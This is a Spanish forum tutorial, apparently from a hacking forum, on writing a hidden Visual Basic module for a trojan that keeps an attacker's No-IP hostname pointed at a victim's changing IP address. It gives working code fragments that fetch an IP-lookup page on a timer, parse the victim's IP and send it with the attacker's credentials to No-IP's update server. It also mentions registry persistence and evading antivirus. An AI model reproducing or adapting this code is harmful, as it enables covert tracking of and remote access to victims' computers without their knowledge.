Buenas!
En este post voy a intentar acabar con los tipicos problemas de:
Como puedo saber su IP?
Como consigo alguna notificación por e-mail/icq/telnet?
Etc etc...
Bueno, supongo que ya conoceis el servicio de No-ip. Si no sabeis de que va, aqui se explica muy bien:
http://foro.elhacker.net/index.php/topic,57735.0.htmlOk, para hacernos una idea, no-ip, permite, a través de un programa, actualizar nuestra IP de un host de manera que un host del tipo
tunombre.no-ip.info contenga siempre tu IP.
Si nos ponemos a pensar, esto nos sería muy util, si, por ejemplo, este servicio lo usara nuestra víctima.
Pues esto es lo que haremos hoy, aquí.
EmpecemosLo que queremos es crear un programa que nos permita que la victima tenga un servicio No-ip sin que ella se entere. De esta manera podremos saber SIEMPRE su ip y podremos integrar el código en nuestro troyano o simplemente usarlo con otros troyanos. Las ventajas son muchas, todas las que nos permita saber su IP. Analizemos la sencilla situación: Un programa llamado No-ip DUC envia una orden a un servidor y nuestro host se actualiza. Bien, pues nuestro objetivo es conocer QUE orden se envia.
ProtocolosTodos los programas usan un protocolo, para entendernos, es la manera que tienen dos programas de entenderse. Para poder saber el protocolo de No-ip, debemos SNIFARLO.
Que es SNIFAR?SNIFAR es saber lo que un programa envia y recibe. Pues bien, esto nos lo saltaremos por una sencilla razon. No-ip liberó haze poco el protocolo que usaba. Cuando yo estaba investigando este tema, aun no se habia liberado y tuve que snifar. Si no os interesa el tema del snifeo, saltaos el siguiente punto.
Como snifeo?El snifer que yo usé se llama
Achilles. Hizé que el No-ip DUC enviará la información por
localhost:5000. En pocas palabras, desvie la información por el puerto 5000 de mi ordenador. Cuando ví que la información viajaba encriptada en BASE64, la intente desencriptar pero fue en vano (a día de hoy aún nose porque). Por eso me decidí a usar otro programa parecido al No-ip DUC, se llama DynSite [
http://noeld.com/download.htm]. En esté la información NO viajaba encriptada y el servidor la aceptaba igualmente. De esta manera descubrí el protocolo.
El protocoloEs el siguiente:
http://dynupdate.no-ip.com/update.php?username=TUEMAIL&pass=TU PASS&host=TUHOST&domain=TUDOMINIO&ip=LAIP
Este es el que yo encontré, en la página de No-ip [
www.no-ip.com] está este otro:
http://dynupdate.no-ip.com/dns?username=test@testdomain.com&
password=mytestpassword&hostname=mytest.testdomain.com&ip=1.2.3.4
En principio es lo mismo.
No-ipPara empezar, seria lo suyo crearse una cuenta en no-ip y crear un host por cada victima.
Información detallada en:
http://foro.elhacker.net/index.php/topic,57735.0.htmlEl programaBien, y ahora empieza la programación.
Yo lo he hecho en Visual Basic, pero la base que doy arriba os permite hacerlo en cualquier otro lenguaje (es mejor en C).
Solo voy a poner trozos de programa, el resto ha de ser de VUESTRA COSECHA, así evitamos que lo detecten los AV y que lo usé gente sin conocimientos de nada (por eso queria entrar en el laboratorio, pero creo que no me han aceptado :'( )
Mi programa, al ejecutarse por primera vez, se escribe en el registro de Windows para que se ejecute cada vez que se abrá el ordenador. Este código NO lo pondré, lo podreis encontrar fácilmente en este foro o en Google.
Variables y constantesPara que no os hagais un lio, aquí teneis todas las variables y constantes que usa el programa para declarlas y que no os falle el código. Escribid esto en la parte de arriba del código:
Private Const username = "" 'Tu nombre de usuario (creo q es el mail)
Private Const pass = "" 'Tu pass
Private Const host = "" 'el host ej: algo.no-ip.info
Private Const domain = "" ' el dominio del host (arriba) no-ip.info
Private Const sSourceUrl = "http://www.andy21.com/ip/"
Private Const sLocalFile = "c:\ip.htm"
Dim posicion1 As Integer
Dim posicion2 As Integer
Dim ip As String
Dim ip_antigua As String
Dim sSourceUrl As String
Dim sLocalFile As String
Dim hfile As Long
Dim url As String
En las constantes, debereis dar vuestros datos sobre vuestra cuenta en No-ip, así como el host para cada víctima. Si no sabies que poner aqui os pongo un ejemplo:
Private Const username = "pepe@gmail.com"
Private Const pass = "misupercontraseña"
Private Const host = "pepe.no-ip.info"
Private Const domain = "no-ip.info"
Private Const sSourceUrl = "http://www.andy21.com/ip/"
Private Const sLocalFile = "c:\ip.htm"
Routers, proxys y demás...Muchos de los códigos que he encontrado por Google para sacar la IP del usuario, NO FUNCIONAN, si tienes proxys o router. Yo tengo Timofonica y pasó por algunos proxys aparte del router que tengo en casa.
Lo que haremos para evitar esto, será cojer nuestra IP de alguna página web. Si, si, como oyes. De una web. Yo creo que es una de las maneras más eficaces de sacar la IP.
Mirate esta web:
http://www.andy21.com/ip/Ok, (a no ser que pases por un proxy ultra-anonimo) verás tu IP.
La webLo primero que haremos sera crear una funcion que descargue la web.
Para ello hay este código:
Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
Private Const ERROR_SUCCESS As Long = 0
Private Const BINDF_GETNEWESTVERSION As Long = &H10
Private Const INTERNET_FLAG_RELOAD As Long = &H80000000
Esto lo copiaremos arriba de todo, donde se suelen declarar las variables.
Para usar esto crearemos ahora la funcion:
Public Function DownloadFile(sSourceUrl As String, sLocalFile As String) As Boolean
DownloadFile = URLDownloadToFile(0&, sSourceUrl, sLocalFile, BINDF_GETNEWESTVERSION, 0&) = ERROR_SUCCESS
End Function
Si enviamos los parametros sSourceUrl y sLocalFile se nos copiara la web que queramos en el archivo del disco duro que nosotros deseemos.
Bien, hasta aquí ya tenemos el código para descargar una página web (será la que nos dará la IP).
Una vez abierto el programa (oculto, logicamente), crearemos un Timer para descargar la página web cada X segundos (mejor poned minutos) por si la victima se desconecta y se vuelve a conectar con otra IP. En el Timer va lo siguiente:
If DownloadFile(sSourceUrl, sLocalFile) Then
hfile = FreeFile
Open sLocalFile For Input As #hfile
Text1.Text = Input$(LOF(hfile), hfile)
Close #hfile
Kill sLocalFile
Command2_Click
End If
Con esto descargaremos la web, la guardaremos en un archivo del disco duro, copiaremos el contenido en un Text y eliminaremos el archivo. Seguidamente procederemos en el Command2_Click a extraer la IP de la victima en web descargada.
Extraer la IPip = ""
'Saca la IP
posicion1 = InStr(1, Text1.Text, "HTTP_CLIENT_IP:", vbTextCompare)
posicion2 = InStr(posicion1, Text1.Text, "<", vbTextCompare)
ip = Mid(Text1.Text, posicion1 + 16, posicion2 - (posicion1 + 16))
If ip_antigua <> ip Then
url = "dynupdate.no-ip.com/update.php?username=" & username & "&pass=" & pass & "&host=" & host & "&domain=" & domain & "&ip=" & ip
web.Navigate (url)
ip_antigua = ip
End If
Bien, si os fijais en la web, hay un lugar donde sale el texto HTTP_CLIENT_IP: . Despues de este texto, sale la IP del ordenador. Lo que hace este texto, es sacar la IP que viene despues y actualizar la IP del No-ip. Solo se actualiza si la IP ha cambiado, sino NO.
Hay que destacar que aquí usaremos el OCX del IE. Esto no es ningun problema (a diferencia del WinSock) ya que TODO windows tiene este OCX.
Se llama "Microsoft Internet Controls" y teneis que agregarlo en componentes y llamarlo "web".
Agradecimientos-Xenon (fulano_) por su gran ayuda.
-A el-brujo, por esta magnifica web.
-A todo el equipo de este foro, moderadores y colaboradores.
-Y a Google, por existir... xD
Saludos,
Ertai
PD: Postead lo que querais: dudas, criticas, agradecimientos, errores y sinó, pues agregadme. Abstenganse Scriptkiddies.